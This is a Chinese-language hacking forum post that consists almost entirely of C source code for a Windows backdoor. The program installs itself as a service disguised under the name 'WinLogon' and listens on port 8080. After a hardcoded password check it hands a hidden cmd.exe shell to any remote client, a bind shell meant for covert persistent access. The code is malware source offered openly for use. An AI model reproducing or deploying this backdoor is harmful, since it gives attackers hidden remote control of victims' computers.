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www.eviloctal.com）
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代码:
/*本文的后门部分参考了SmallHorse的文章*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
//预编译指令,下面是设置连接器link中的project options,连接器选项值请参考MSDN:
/*#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:main")//用来屏蔽控制台应用程序的窗口
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")*/
#pragma comment(lib, "ws2_32.lib") //链接到WS2_32.LIB库
u_short port=8080;
char *password="pt007";
int dwBuf=0;
TCHAR buff[56];
TCHAR szBuf[56];
char *error;
DWORD WINAPI ClientThread(LPVOID lpParam);//线程函数声明
////////////////////////////////////////////////////////////
// Declare several global variables to share
// their values across multiple functions of your program.
////////////////////////////////////////////////////////////
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
////////////////////////////////////////////////////////////
// Make the forward definitions of functions prototypes.
//
////////////////////////////////////////////////////////////
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
void OpenDoor();
void OpenSer();
int checkpass(SOCKET);
// Control Handler
void ControlHandler(DWORD request)
{
switch(request)
{
case SERVICE_CONTROL_STOP:
OutputDebugString("Monitoring stopped.");
//printf("Monitoring stopped.\n");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
OutputDebugString("Monitoring stopped.");
//printf("Monitoring stopped.\n");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);
return;
default:
break;
}
// Report current status
SetServiceStatus (hStatus, &ServiceStatus);
return;
}
void ServiceMain(int argc, char** argv)
{
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler(
"WinLogon",
(LPHANDLER_FUNCTION)ControlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
// Registering Control Handler failed
return;
}
// We report the running status to SCM.
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
//在这里运行自已的后门程序:
OpenDoor();
return;
}
void OpenDoor()
{
// 初始化 Winsock.
WSADATA wsaData;
SOCKET m_socket,AcceptClient;
SOCKADDR_IN Service,Client;
char *sendbuf;
int ClientSize,i;
int iResult;
i=0;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
return;
// 创建一个 socket:
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(m_socket==SOCKET_ERROR)
return;
Service.sin_family = AF_INET;
Service.sin_addr.s_addr = htonl(INADDR_ANY);
Service.sin_port = htons( port );
if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
return;//绑定
if (listen(m_socket,5)==SOCKET_ERROR)
return;//最大监听列队5个
printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
ClientSize=sizeof(Client);
while(1)
{
AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);//返回已连接套接字
if(AcceptClient==SOCKET_ERROR)
return;//接受连接
//printf( "Client Connected.\n");
sendbuf=">>>";
send(AcceptClient,sendbuf,strlen(sendbuf), 0);//发送到客户端
memset(szBuf,0,56);
memset(buff,0,56);
dwBuf=0;
while(1)
{
if(recv(AcceptClient,buff,1,0)==SOCKET_ERROR)
return ;
szBuf[dwBuf]=buff[0];
if(buff[0]=='\n'){ //回车换行符
szBuf[--dwBuf]='\0';
break;
}
dwBuf++;
}
if(!(stricmp(szBuf,password)==0))
{ error="\r\nPassword error!\r\n";
send(AcceptClient,error,strlen(error), 0);
//printf("\nPassWord ERROR!\r\n");
//如何无错误的返回呢?
closesocket(AcceptClient);}
//为每个连接都创建一个线程:
if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
printf("Create Thread Error!\n");
Sleep(1000);
}
WSACleanup();
return;
}
int checkpass(SOCKET AcceptClient)
{//下面是判断密码是否为pt007:
if(!(stricmp(szBuf,password)==0))
{ error="\r\nPassword error!\r\n";
send(AcceptClient,error,strlen(error), 0);
//printf("\nPassWord ERROR!\r\n");
//如何无错误的返回呢?
closesocket(AcceptClient);
return 0;
}
return 1;
}
void OpenSer()
{
SC_HANDLE hSCManager,hService;
DWORD hEorr;
//第一步是打开SCM,获取句柄然后允许打开服务:
hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL)
{
hEorr =GetLastError();
printf("Open SCManager false.....\n",hEorr);
exit(0);
}
//第二步是打开服务:
hService = OpenService(hSCManager,"WinLogon",SERVICE_ALL_ACCESS);
if (hService!=NULL)
{
//第三步是启动指定服务:
if(StartService(hService,0,NULL))
printf("Start service success!\n");
}
else
{printf("Start service error!\n");
}
CloseServiceHandle(hSCManager);//关闭服务句柄
CloseServiceHandle(hService);
return ;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
STARTUPINFO startinfo;
SOCKET AcceptClient;
SECURITY_ATTRIBUTES sa;
char cmdline[MAX_PATH];
PROCESS_INFORMATION proinfo;
unsigned long ByteRec;
AcceptClient=(SOCKET)*(SOCKET*)lpParam;
//下面是设置安全属性结构:
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;//权限可继承
sa.lpSecurityDescriptor=NULL;//使用默认的安全性
ret=CreatePipe(&Rpipe,&Rfile,&sa,0);//创建匿名管道1
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立管道2,分别用于接收命令和显示结果
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;//子进程的标准输入指向管道2的读管道句柄
startinfo.hStdError=startinfo.hStdOutput=Rfile;//子进程的标准输出指向管道1的写管道句柄
startinfo.wShowWindow=SW_HIDE;
GetSystemDirectory(cmdline,MAX_PATH);//获得系统目录
strcat(cmdline,("\\cmd.exe"));//即:c:\windows\system32\cmd.exe
//创建一个子进程:
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
while(1)
{
Sleep(100);//休眠100ms
PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
if(ByteRec){
ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);//将管道1的读句柄的内容写入到buf中
if(!ret)
break;
ret=send(AcceptClient,Buf,ByteRec,0);//将标准输出发送到客户端
if(ret<=0)
break;
}
else{
ByteRec=recv(AcceptClient,Buf,1024,0);//接收来自客户端的数据并存入Buf中
if(ByteRec<=0)
break;
ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);//将Buf中的数据写入到管道2的写句柄
if(!ret)
break;
}
}
return 0;
}
void main(int argc, char* argv[])
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "WinLogon";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);
}
